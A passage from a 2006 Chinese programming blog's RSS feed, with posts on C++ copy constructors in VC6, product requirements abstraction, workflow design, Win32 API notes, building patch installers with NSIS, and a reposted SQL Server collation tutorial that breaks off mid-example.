		<p>Enter CTestCopyConstruct(const CTestCopyConstruct &amp;src);this is 1242964;src is 1242972<br />Enter CTestCopyConstruct();this is 1242956<br />Enter CTestCopyConstruct &amp; operator =(const CTestCopyConstruct &amp; src);this is 1242956;src is 1242972</p>
		<p>result 2:<br />var3 is 1242964 var3.str is ok<br />var4 is 1242956 var2.str is ok<br /><br />分析：<br />CTestCopyConstruct var1;\\1<br />CTestCopyConstruct var2 = GetTest();\\2<br />代码的执行如下：<br />当前堆栈指针(sp) = 1242980<br />sp -= 8//在堆栈中为var1分配空间<br />在var1上(1242980 - 1242973)调用构造函数<br />sp -= 8//在堆栈中为var2分配空间<br />sp -= n//保护当前环境<br />进入了GetTest函数<br />当前sp = 1242848<br />sp -= 8//为ret1分配空间<br />构建ret1<br />sp -= 8//为ret2分配空间<br />构建ret2<br />......<br />对var2(1242972处的堆栈段)调用拷贝构造函数，以test1(1242848处)为参数<br />//析构test1 test2等...<br />sp += n//恢复运行环境<br />......<br /><br />另：<br />operater = () 和默认构造函数不一样，只重写=运算符而不提供拷贝构造函数，调用的仍然是默认的构造函数。<br />默认构造函数和赋值运算符处理的情况不一样，一个是在已分配的空间上调用，一个是在已构造的对象上调用。<br /><br />默认拷贝构造函数会调用类中各成员的拷贝构造函数。CString 由于提供了拷贝构造函数，所以上面例子中即使去掉拷贝构造函数，var2 仍然会得到正确的值。<br /><br />调试的环境是vc6.0 debug 默认选项。编译没有优化。</p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				<span style="COLOR: #000000">CTestCopyConstruct(</span>
				<span style="COLOR: #0000ff">const</span>
				<span style="COLOR: #000000"> CTestCopyConstruct </span>
				<span style="COLOR: #000000">&amp;</span>
				<span style="COLOR: #000000">src)<br /><img id="Codehighlighter1_52_195_Open_Image" onclick="this.style.display='none'; Codehighlighter1_52_195_Open_Text.style.display='none'; Codehighlighter1_52_195_Closed_Image.style.display='inline'; Codehighlighter1_52_195_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="Codehighlighter1_52_195_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_52_195_Closed_Text.style.display='none'; Codehighlighter1_52_195_Open_Image.style.display='inline'; Codehighlighter1_52_195_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedBlock.gif" align="top" />        </span>
				<span id="Codehighlighter1_52_195_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<img src="http://www.cnitblog.com/images/dot.gif" />
				</span>
				<span id="Codehighlighter1_52_195_Open_Text">
						<span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        TRACE(</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">Enter CTestCopyConstruct(const CTestCopyConstruct &amp;src);this is %d;src is %d\n</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #0000ff">this</span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #000000">&amp;</span>
						<span style="COLOR: #000000">src);<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        strTest </span>
						<span style="COLOR: #000000">=</span>
						<span style="COLOR: #000000"> src.strTest;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        i </span>
						<span style="COLOR: #000000">=</span>
						<span style="COLOR: #000000"> src.i;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />    }</span>
				</span>
				<span style="COLOR: #000000">
						<br />
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
						<br />
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />与<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />CTestCopyConstruct(</span>
				<span style="COLOR: #0000ff">const</span>
				<span style="COLOR: #000000"> CTestCopyConstruct </span>
				<span style="COLOR: #000000">&amp;</span>
				<span style="COLOR: #000000">src)<br /><img id="Codehighlighter1_275_393_Open_Image" onclick="this.style.display='none'; Codehighlighter1_275_393_Open_Text.style.display='none'; Codehighlighter1_275_393_Closed_Image.style.display='inline'; Codehighlighter1_275_393_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="Codehighlighter1_275_393_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_275_393_Closed_Text.style.display='none'; Codehighlighter1_275_393_Open_Image.style.display='inline'; Codehighlighter1_275_393_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedBlock.gif" align="top" />        :strTest (src.strTest)</span>
				<span id="Codehighlighter1_275_393_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<img src="http://www.cnitblog.com/images/dot.gif" />
				</span>
				<span id="Codehighlighter1_275_393_Open_Text">
						<span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        TRACE(</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">Enter CTestCopyConstruct(const CTestCopyConstruct &amp;src);this is %d;src is %d\n</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #0000ff">this</span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #000000">&amp;</span>
						<span style="COLOR: #000000">src);<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        i </span>
						<span style="COLOR: #000000">=</span>
						<span style="COLOR: #000000"> src.i;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />    }</span>
				</span>
		</div>
		<br />前者先调用了CString::CString()再调用CString::operator =<br />后者直接调用了CString::CString(CString &amp; src);<br /><br /><br />默认的赋值运算的行为：首先调用父类的赋值运算。<br />然后会为自己独有的各成员寻找赋值运算。如果成员的赋值运算符被重写，则调用这个重写的赋值运算符函数，如果这个重写的运算符函数是private，编译将无法通过。<br />默认的拷贝构造函数的行为：首先调用父类的拷贝构造函数。<br />然后为自己独有的各成员寻找拷贝构造函数。如果这个成员提供拷贝构造函数，则调用之，如果成员的类提供的拷贝构造函数是private，编译将无法通过。<br />(子类完全可以把父类当成自己的一个成员?)<br /><br /><br />可以说默认的赋值运算和默认的拷贝构造函数是类最常被用到的两个函数了...内部却不是一般的复杂。<img src ="http://www.cnitblog.com/Raistlin/aggbug/8278.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-03-30 10:34 <a href="http://www.cnitblog.com/Raistlin/archive/2006/03/30/8278.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>不把需求抽象，就会有无尽的需求</title><link>http://www.cnitblog.com/Raistlin/archive/2006/03/17/7702.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Fri, 17 Mar 2006 02:42:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/03/17/7702.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/7702.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/03/17/7702.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/7702.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/7702.html</trackback:ping><description><![CDATA[
		<p>......<br />Ralin 说:<br />没有从需求中提炼出来究竟什么是实际需求。对需求一点抽象都没有。做什么通用产品啊。肯定会被这种无穷无尽的所谓需求搞死<br />icepeak 说:<br />是啊<br />Ralin 说:<br />我的神啊，那些用户要如何理解我们的概念啊。。。<br />icepeak 说:<br />我也面临着种问题<br />Ralin 说:<br />什么问题？<br />icepeak 说:<br />往往是时间很紧，不容我详细的去抽象<br />我的做法是先实现概念模型中的主要功能，实施的时候再逐步修改<br />Ralin 说:<br />你面对的和我们不一样，你可能是做项目，我们是做产品<br />产品的目的就是通用<br />不能把部分用户需要的概念强加给全部用户，这不是胡扯吗<br />icepeak 说:<br />你这种思想本身值得怀疑<br />Ralin 说:<br />怎么说？<br />icepeak 说:<br />产品的目的就是通用没错，但是你只说了一半<br />产品的核心部分是通用，但是面对用户部分是要个性化的<br />Ralin 说:<br />个别用户的需求不需要硬编码到数据库，到代码。这是我的看法<br />icepeak 说:<br />许多加大型的应用，他们实施的时间和开发的时间差  ，更有甚者，有很多是和使用单位联合开发<br />Ralin 说:<br />你所说的是项目。。不是产品<br />一个产品会面对千万个用户<br />一个项目的使用者一般是固定的，他的需求是具体的<br />icepeak 说:<br />我说的是产品，最典型的是企业应用类的系统<br />比如，我现在做的供应链管理系统，只能出功能模型，使是的时候50%的数据库结构会被更改或者取消<br />Ralin 说:<br />把会改变的东西和固定的东西分开来，这是程序设计的一个基本方法吧<br />icepeak 说:<br />很难啊<br />Ralin 说:<br />至少你可以把最抽象的东西独立出来。需要具体功能的时候再往这个框架上加东西。<br />icepeak 说:<br />打个比方：做客户关系管理软件，客户基本信息表是最基本的数据表 <br />Ralin 说:<br />把固定的数据库设计独立出来<br />需要其它信息另建表，这种可以做到吧？<br />icepeak 说:<br />但是你的客户却告诉你，他们的erp系统中已经有了完整是客户基本信息表，现在的要求是把你们的系统靠上来<br />因为涉及同步维护的问题，新的系统中不可能建立客户基本信息表的副本<br />Ralin 说:<br />更改一下你获取基本信息的方法？<br />icepeak 说:<br />这种情况内核都会变的呀<br />Ralin 说:<br />如果你有个接口是用来获取基本信息的，有个基本信息的抽象类（只保存你需要的id）。就能比较灵活应对不同的基本信息<br />比如用Map来保存信息基本信息，灵活性就非常高<br />icepeak 说:<br />呵呵，理想是好的，肯定我们也应该这样努力，但是我觉得做到最后往往利这个目标挺远<br />写一个BasicInfo这样的类可能只是为了推广的系统能跑起来<br />Ralin 说:<br />你要有空去看看Shark的开源工作流，设计得非常灵活<br />icepeak 说:<br />那个是很多牛人的结晶啊<br />Ralin 说:<br />你可以写一个这样的类，但别写成<br />BasicInfo{<br /> String name;<br /> String phone....<br />}<br />用一个map来保存"phone"和05921234567 "name"和王xx 这样就不怕他们基本信息究竟要求些什么了<br />我是烦最近要改来改去YY的<br />icepeak 说:<br />用一个map来保存"phone"和0592...？？？？？？<br />为什么这么做呢？<br />Ralin 说:<br />这样做以后无论你想添加什么属性都无所谓。。。<br />客户要怎么改他的基本信息，代码都不用变<br />icepeak 说:<br />客户要改基本信息结构呢<br />Ralin 说:<br />比如说怎么改？<br />icepeak 说:<br />比如你设计是name做个key<br />现在客户的需求是用name+sex做为key<br />Ralin 说:<br />我指的是BasicInfo这个类的内部结构不需要因为客户的更改而更改<br />icepeak 说:<br />BasicInfo类比如有name等五个成员变量，现在按照需求多出来3个<br />Ralin 说:<br />没事...<br />你完全可以知道数据库里面有几个字段，字段名，值，类型<br />直接添加到map中就可以了<br />通过Recordset可以很方便获得表的信息吧？<br />象这种基本信息表，目的只是保存信息，显示信息。如果这样做可以实现，为什么非要硬编码到代码？每个用户需要变更的时候就要大动代码？<br />icepeak 说:<br />嗯<br />Ralin 说:<br />我现在就在想能不能在我的程序中这么做。但比较一下还是直接修改代码快。<br />icepeak 说:<br />一定程度上的适应性是要的<br />Ralin 说:<br />如果当时能够用比较灵活的方法，现在就不需要大改了，而且出错的可能性也会降低<br />icepeak 说:<br />这就是系统分析欠考虑的地方<br />Ralin 说:<br />我觉得这是具体编码上没考虑好.系统分析上也会存在这种问题。<br />不能把需求抽象化，肯定会有无穷无尽的需求。<br />icepeak 说:<br />是啊，系统分析的时候对需求估计的不足，经验问题</p>
<img src ="http://www.cnitblog.com/Raistlin/aggbug/7702.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-03-17 10:42 <a href="http://www.cnitblog.com/Raistlin/archive/2006/03/17/7702.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于workflow的一些思考</title><link>http://www.cnitblog.com/Raistlin/archive/2006/03/08/7364.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Wed, 08 Mar 2006 03:54:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/03/08/7364.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/7364.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/03/08/7364.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/7364.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/7364.html</trackback:ping><description><![CDATA[数据:<BR>&nbsp;&nbsp;&nbsp;数据是最重要的东西,数据需要有自表达的能力.比如行政审批的数据:<BR>申请人:____ 证件号:____照片(image格式)等.数据应该包含描述(如"证件号")和值(如:356897866),甚至处理者及数字签名<BR>&nbsp;&nbsp;&nbsp;数据在html端用xml表达是个很好的方式<BR><BR>表单:<BR>&nbsp;&nbsp;&nbsp;表单只是数据的表现形式,在html端可用xsl来表达<BR>&nbsp;&nbsp;&nbsp;表单的定制应包含了数据的定义和数据的表达形式.<BR><BR>流程:<BR>&nbsp;&nbsp;&nbsp;流程是数据的流转方式,流程中最重要的是"环节",由"环节"来控制数据的流转方向和权限.<BR><BR>组织机构:<BR>&nbsp;&nbsp;&nbsp;数据的处理者和权限信息.<BR><BR>数据库设计:<BR>&nbsp;&nbsp;&nbsp;流程定义:流程定义ID,表单信息(以text保存的xsl)<BR>&nbsp;&nbsp;&nbsp;环节定义:环节定义ID,流程定义ID,权限信息,操作数据信息,根据条件判断的下一环节(以text保存的自定义script)<BR>&nbsp;&nbsp;&nbsp;数据定义:数据定义ID,流程定义ID,名称(如"证件号"),类型(该数据的类型)<BR><BR>&nbsp;&nbsp;&nbsp;流程实例:流程实例ID,流程定义ID,当前状态信息<BR>&nbsp;&nbsp;&nbsp;环节实例:环节实例ID,环节定义ID,当前状态信息<BR>&nbsp;&nbsp;&nbsp;数据实例:数据实例ID,数据定义ID,名称,值,类型,日期,操作者,数字签名等等<BR><BR>&nbsp;&nbsp;&nbsp;以上所有ID采用uuid?<BR><BR>数据的备份:<BR>&nbsp;&nbsp;&nbsp;每个数据备份中包含有1分相关的流程定义,环节定义和数据定义,以及多份流程实例(如果当前有在运行流程的话),环节实例(如果当前有在活动的环节的话)和数据实例.<BR><BR>数据的恢复：<BR><BR>流程结果的打印：<BR>&nbsp;&nbsp;&nbsp;按表单打印出已结束的流程的数据(审批方可向申请方提供加印章的审批内容)<BR><BR>统计功能：<img src ="http://www.cnitblog.com/Raistlin/aggbug/7364.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-03-08 11:54 <a href="http://www.cnitblog.com/Raistlin/archive/2006/03/08/7364.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>杂七杂八记录</title><link>http://www.cnitblog.com/Raistlin/archive/2006/03/06/7263.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 06 Mar 2006 01:25:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/03/06/7263.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/7263.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/03/06/7263.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/7263.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/7263.html</trackback:ping><description><![CDATA[
		<p>GetOpenFileName<br />GetSaveFileName</p>
		<p>SHFileOperation<br />ShellExecute</p>
		<p>#include &lt;winsvc.h&gt;<br />OpenSCManager<br />OpenService<br />QueryServiceStatus<br />StartService</p>
		<p>COleDispatchDriver<br />  .m_bAutoRelease<br />ListView_SetExtendedListViewStyle(hWnd,LVS_EX_CHECKBOXES | LVS_EX_FULLROWSELECT);</p>
		<p>EnumProcessModules</p>
		<p>WM_DEVICECHANGE</p>
		<p>SHGetSpecialFolderLocation<br />SHGetPathFromIDList</p>
		<p>CAsyncMonikerFile 下载文件</p>
		<p>PlgBlt</p>
		<p>GetEnvironmentVariable<br />ExpandEnvironmentStrings</p>
		<p>RegisterWindowsMessage</p>
		<p>GetACP<br />The GetACP function retrieves the current ANSI code-page identifier for the system.</p>
		<p>GetTextCharset  <br />GetTextCharsetInfo  <br />IsDBCSLeadByte  <br />IsDBCSLeadByteEx  <br />IsTextUnicode  <br />MultiByteToWideChar  <br />TranslateCharsetInfo  <br />WideCharToMultiByte </p>
		<p>declare @x int <br />select @x = 1<br />while @x &lt; 100000<br />begin<br />insert table1(id, idv)values(@x, @x)<br />select @x = @x + 1<br />end</p>
		<p>_com_issue_error</p>
		<p>Video for Windows  VFW</p>
		<p>_TrackMouseEvent</p>
		<p>MakeSureDirectoryPathExists <br />_taccess errno<br />GetFileAttributes</p>
		<p>关于Script<br />IActiveScript</p>
		<p>strtol 与 atol 的比较<br /><br /><a href="http://www.openssl.org/">http://www.openssl.org/</a>  openssl 开源的数据加密 数字签名 等API<br /><br />SQLBrowseConnect 带数据源选择对话框的连接<br />SQLDataSources      列出数据源名称描述.必须SQLSetEnvAttr 设置为odbc3.0版本(非常晕)<br /><br /><a href="http://www.bruceeckel.com/">http://www.bruceeckel.com/</a> Bruce Eckel的主页。一堆好书<br /><br /><a href="http://www.twinhelix.com/">http://www.twinhelix.com/</a> 牛人的DHTML menu... 11k的.js文件。呃，jscript代码是很恶心的...so 实在佩服<br /><br />const CString &amp;  Value: OK<br />CString &amp; const Value以及CString &amp; volitate Value ==&gt;过时用法</p>
<img src ="http://www.cnitblog.com/Raistlin/aggbug/7263.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-03-06 09:25 <a href="http://www.cnitblog.com/Raistlin/archive/2006/03/06/7263.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>自由地生成补丁程序</title><link>http://www.cnitblog.com/Raistlin/archive/2006/02/10/6540.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Fri, 10 Feb 2006 04:08:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/02/10/6540.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/6540.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/02/10/6540.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/6540.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/6540.html</trackback:ping><description><![CDATA[<P>啥时候也轮到俺写补丁程序了。虽然网络如此发达的今天，实在应该使用在线升级比较好。但微软不是还提供补丁程序下载吗...<BR>nsis的脚本不熟,installshield是庞然大物而且似乎产生的垃圾比实际安装的要多..-_-!<BR>所以自己弄个可以自己定制生成补丁的程序<BR>其实没那么玄，用微软的cabsdk和vc自身的编译功能就可以了<BR><BR>功能:<BR>&nbsp;压缩源文件<BR>&nbsp;解压文件<BR>&nbsp;替换文件或新建文件或删除文件<BR>&nbsp;若失败恢复原系统文件<BR>&nbsp;登记/判断补丁信息<BR><BR>方法:<BR>1、使用cabsdk来生成cab文件 cabsdk可从微软网站上下载<BR>2、建立工程A，功能如下：<BR>&nbsp;(a)设置补丁程序信息<BR>&nbsp;(b)指定补丁源文件和将被替换(或添加)的文件路径<BR>&nbsp;(c)生成配置信息文件patch.ini<BR>&nbsp;(d)调用cabsdk中CABARC.EXE压缩补丁文件和配置信息文件到cab文件<BR>&nbsp;(e)修改工程B的rc文件，把cab文件作为工程B的资源，设置生成的exe文件的描述信息<BR>&nbsp;(f)调用vc编译器NMAKE.exe编译链接工程B<BR>3、建立工程B，功能如下：<BR>&nbsp;(a)调用cabsdk中fdi解压资源中的cab文件到临时文件夹<BR>&nbsp;(b)读取cab文件中的patch.ini<BR>&nbsp;(c)判断补丁是否有效<BR>&nbsp;(d)根据patch.ini信息循环: 备份目标文件，更新文件<BR>&nbsp;(e)失败:恢复原有文件<BR>&nbsp;(f)成功:注册补丁信息，如写入注册表<BR>&nbsp;(g)删除临时文件<BR><BR>即将添加新功能:修改注册表...<BR>未完待修改...<BR><BR>-------------------------------------------传说中的分割线-------------------------------------------<BR>您肯定被上面的搞晕了吧。。没关系，因为还有更好的方式可以实现这个目的，即不需要调用外部的程序直接生成补丁程序。<BR>这就需要：<BR>&nbsp;&nbsp;&nbsp;1直接压缩文件。通过调用FCI的函数可以实现<BR>&nbsp;&nbsp;&nbsp;2直接修改补丁程序的资源。这个难了点，不过俺有秘密武器:)。<BR><BR>不管如何实现的，补丁的数据格式需要预先定义。<BR>补丁的信息和内容保存在补丁程序的资源中。文件名为Patch.cab<BR>Patch.cab<BR>&nbsp; -Patch.ini<BR>&nbsp; -source files<BR><BR>Patch.ini内容如下<BR>patchName=xxx<BR>disusedPatchs=xxx;xxx;xxx<BR>appTitle=xxxx<BR>appDescription=xxx<BR>appComments=xxx<BR>pathVars=path1,path2,path3,path4<BR>path1.type=FIXED<BR>path1.value=xxx<BR>path2.type=ENVIRONMENT<BR>path2.value=%systemenvirement%<BR>path2.alterValue=xxx<BR>path3.type=REGISTER<BR>path3.value=HKEY_LOCALMACHINE|regpath<BR>path3.alterValue=xxx<BR>path4.type=USERINPUT<BR>path4.value=*path3*<BR>filesUpdate=ufile1;ufile2;ufile3...<BR>ufile1.src=....<BR>ufile1.dest=*path1*\relativepath<BR>ufile2.src=...<BR>ufile2=absolutepath<BR>ufile3.src=...<BR>ufile3=...<BR>filesAdd=afile1;afile2..<BR>afile1.src=...<BR>afile1.dest=dest path..<BR>afile2.src=...<BR>afile2.dest=...<BR>filesDelete=dfile1;dfile2..<BR>dfile1=path..<BR>dfile2=path..<BR>regUpdate=ureg1;ureg2...<BR>ureg1.type=BINARY/DWORD/SZ<BR>ureg1.parent=HKEK_LOCAL_MACHINE/HKEY_CURRENT_USER<BR>ureg1.keyname=...<BR>ureg1.keyvalue=...<BR>regAdd=areg1;areg2..<BR>areg1.type=BINARY/DWORD/SZ<BR>areg1.parent=HKEK_LOCAL_MACHINE/HKEY_CURRENT_USER<BR>areg1.keyname=...<BR>areg1.keyvalue=...<BR>regDelete=dreg1;dreg2...<BR>dreg1.parent=HKEK_LOCAL_MACHINE/HKEY_CURRENT_USER<BR>dreg1.keyname=...</P>
<P>-------------------------------------------暗淡的分割线-------------------------------------------<BR>发现要能生成适合各种情况的能订制的补丁要考虑的东西太多太多了...自己要定义一套东西...<BR>相当于制作安装程序要考虑的内容...<BR>那何必呢...直接研究NSIS不就可以了...<BR>NSIS帮助文档的翻译:<A href="http://foobar.nease.net/nsis/index.html">http://foobar.nease.net/nsis/index.html</A>,和英文的没啥差别,差别就是语言不同.哈<BR>稍微看了一下，又倒了胃口...<BR>本来安装程序这东西就很复杂,提供定制更麻烦,InstallShield不就有无数个变量吗...<BR><BR>-------------------------------------------最后的分割线-------------------------------------------<BR>最终还是用NSIS来做了...<BR>其实NSIS晦涩的地方在于:<BR>1，没有丰富的中文资料，Document上那点内容看了不会让人放心，说实在还是得去他们论坛查，够麻烦<BR>2，很多语法类似于汇编语言<BR>3, contrib目录下有很多库，每个库有各自的文档，而且是不怎么详细的文档<BR><BR>不过便利的地方也很多:<BR>写个.ini文件就可以订制对话框<BR>可以调用外部DLL<BR>支持回调函数(CALLBACK)<BR>可以编写NSIS自己的DLL，直接访问安装程序内部数据<BR><BR>下图是是调用了外部DLL执行mssql的.sql文件，并由外部DLL回调内部方法输出SQL语句的例子。<BR><IMG height=1071 alt=nsispatch.jpg src="http://www.cnitblog.com/images/cnitblog_com/raistlin/nsispatch.jpg" width=505 border=0></P><img src ="http://www.cnitblog.com/Raistlin/aggbug/6540.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-02-10 12:08 <a href="http://www.cnitblog.com/Raistlin/archive/2006/02/10/6540.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]利用排序规则特点计算汉字笔划和取得拼音首字母</title><link>http://www.cnitblog.com/Raistlin/archive/2006/02/07/6478.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Tue, 07 Feb 2006 01:59:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/02/07/6478.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/6478.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/02/07/6478.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/6478.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/6478.html</trackback:ping><description><![CDATA[<P><A href="http://www.coderpub.com/article/Delphi_029.htm">http://www.coderpub.com/article/Delphi_029.htm</A><BR><BR>SQL　SERVER的排序规则平时使用不是很多，也许不少初学者还比较陌生，但有 <BR>一个错误大家应是经常碰到: SQL SERVER数据库，在跨库多表连接查询时，若两数据 <BR>库默认字符集不同，系统就会返回这样的错误： </P>
<P>“无法解决 equal to 操作的排序规则冲突。” </P>
<P>一.错误分析： <BR>　　这个错误是因为排序规则不一致造成的，我们做个测试，比如： <BR>create table #t1( <BR>name varchar(20) collate Albanian_CI_AI_WS, <BR>value int) </P>
<P>create table #t2( <BR>name varchar(20) collate Chinese_PRC_CI_AI_WS, <BR>value int ) </P>
<P>表建好后，执行连接查询： </P>
<P>select * from #t1 A inner join #t2 B on A.name=B.name </P>
<P>这样，错误就出现了： </P>
<P>服务器: 消息 446，级别 16，状态 9，行 1 <BR>无法解决 equal to 操作的排序规则冲突。 <BR>　　要排除这个错误，最简单方法是，表连接时指定它的排序规则，这样错误就 <BR>不再出现了。语句这样写： </P>
<P>select * <BR>from #t1 A inner join #t2 B <BR>on A.name=B.name collate Chinese_PRC_CI_AI_WS </P>
<P><BR>二.排序规则简介： </P>
<P>什么叫排序规则呢？MS是这样描述的："在 Microsoft SQL Server 2000 中， <BR>字符串的物理存储由排序规则控制。排序规则指定表示每个字符的位模式以及存 <BR>储和比较字符所使用的规则。" <BR>　　在查询分析器内执行下面语句，可以得到SQL　SERVER支持的所有排序规则。 </P>
<P>　　　　select * from ::fn_helpcollations() </P>
<P>排序规则名称由两部份构成，前半部份是指本排序规则所支持的字符集。 <BR>如： <BR>　　Chinese_PRC_CS_AI_WS <BR>前半部份：指UNICODE字符集，Chinese_PRC_指针对大陆简体字UNICODE的排序规则。 <BR>排序规则的后半部份即后缀 含义： <BR>　　_BIN 二进制排序 <BR>　　_CI(CS) 是否区分大小写，CI不区分，CS区分 <BR>　　_AI(AS) 是否区分重音，AI不区分，AS区分　　　 <BR>　　_KI(KS) 是否区分假名类型,KI不区分，KS区分　 <BR>_WI(WS) 是否区分宽度 WI不区分，WS区分　 </P>
<P>区分大小写:如果想让比较将大写字母和小写字母视为不等，请选择该选项。 <BR>区分重音:如果想让比较将重音和非重音字母视为不等，请选择该选项。如果选择该选项， <BR>比较还将重音不同的字母视为不等。 <BR>区分假名:如果想让比较将片假名和平假名日语音节视为不等，请选择该选项。 <BR>区分宽度:如果想让比较将半角字符和全角字符视为不等，请选择该选项 </P>
<P><BR>三.排序规则的应用： <BR>　　SQL SERVER提供了大量的WINDOWS和SQLSERVER专用的排序规则，但它的应用往往 <BR>被开发人员所忽略。其实它在实践中大有用处。 </P>
<P>　　例1:让表NAME列的内容按拼音排序： </P>
<P>create table #t(id int,name varchar(20)) <BR>insert #t select 1,'中' <BR>union all select 2,'国' <BR>union all select 3,'人' <BR>union all select 4,'阿' </P>
<P>select * from #t order by name collate Chinese_PRC_CS_AS_KS_WS <BR>drop table #t <BR>/*结果： <BR>id name <BR>----------- -------------------- <BR>4 阿 <BR>2 国 <BR>3 人 <BR>1 中 <BR>*/ </P>
<P>　　例2：让表NAME列的内容按姓氏笔划排序： </P>
<P>create table #t(id int,name varchar(20)) </P>
